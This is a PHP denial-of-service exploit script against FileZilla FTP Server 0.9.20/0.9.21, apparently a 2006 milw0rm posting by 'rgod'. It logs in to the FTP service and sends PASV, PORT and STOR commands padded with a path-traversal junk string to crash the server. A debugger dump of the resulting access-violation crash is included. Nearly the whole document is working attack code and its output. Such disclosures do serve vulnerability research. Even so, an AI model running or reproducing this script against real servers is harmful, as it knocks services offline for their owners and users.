<?php
# Filezilla FTP Server 0.9.20 beta / 0.9.21 "STOR" Denial Of Service
# by rgod
# mail: retrog at alice dot it
# site: http://retrogod.altervista.org
# tested on WinXP sp2
error_reporting(E_ALL);
$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('192.168.1.3');
$user="test";
$pass="test";
$junk.="../../../sun-tzu/../../../sun-tzu/../../../sun-tzu";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
echo "OK.\n";
}
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n";
} else {
echo "OK.\n";
}
$out=socket_read($socket, 240);
echo $out;
$in = "USER ".$user."\r\n";
socket_write($socket, $in, strlen ($in));
$out=socket_read($socket, 80);
echo $out;
$in = "PASS ".$pass."\r\n";
socket_write($socket, $in, strlen ($in));
$out=socket_read($socket, 80);
echo $out;
$in = "PASV ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));
$in = "PORT ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));
$in = "STOR ".$junk."\r\n";
socket_write($socket, $in, strlen ($in));
socket_close($socket);
/*
07:04:28.270 pid=0F84 tid=03A0 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION writing [0000007C])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00476540: 0A 00 00 00 43 00 44 00-55 00 50 00 00 00 00 00
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=00D7E2F4: 00 00 00 00 A8 56 37 00-00 00 00 00 00 00 00 00
ESP=00D7E2C8: 00 00 00 00 F0 6E 37 00-2F 93 41 00 F4 E2 D7 00
EBP=0000000C: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000060: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=00449427: C6 46 7C 01 8B 4F 18 B8-08 00 00 00 3B C8 72 05
--> MOV BYTE PTR [ESI+7C],01
----------------------------------------------------------------
07:04:28.330 pid=0F84 tid=03A0 EXCEPTION (unhandled)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION writing [0000007C])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00476540: 0A 00 00 00 43 00 44 00-55 00 50 00 00 00 00 00
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=00D7E2F4: 00 00 00 00 A8 56 37 00-00 00 00 00 00 00 00 00
ESP=00D7E2C8: 00 00 00 00 F0 6E 37 00-2F 93 41 00 F4 E2 D7 00
EBP=0000000C: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000060: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=00449427: C6 46 7C 01 8B 4F 18 B8-08 00 00 00 3B C8 72 05
--> MOV BYTE PTR [ESI+7C],01
----------------------------------------------------------------
07:04:28.330 pid=0F84 tid=0104 Thread exited with code 3221225477
07:04:28.380 pid=0F84 tid=0F18 Thread exited with code 3221225477
07:04:28.380 pid=0F84 tid=03A0 Thread exited with code 3221225477
07:04:28.380 pid=0F84 tid=04E4 Thread exited with code 3221225477
07:04:28.390 pid=0F84 tid=053C Thread exited with code 3221225477
07:04:28.390 pid=0F84 tid=0780 Process exited with code 3221225477
*/
?>
# milw0rm.com [2006-12-09]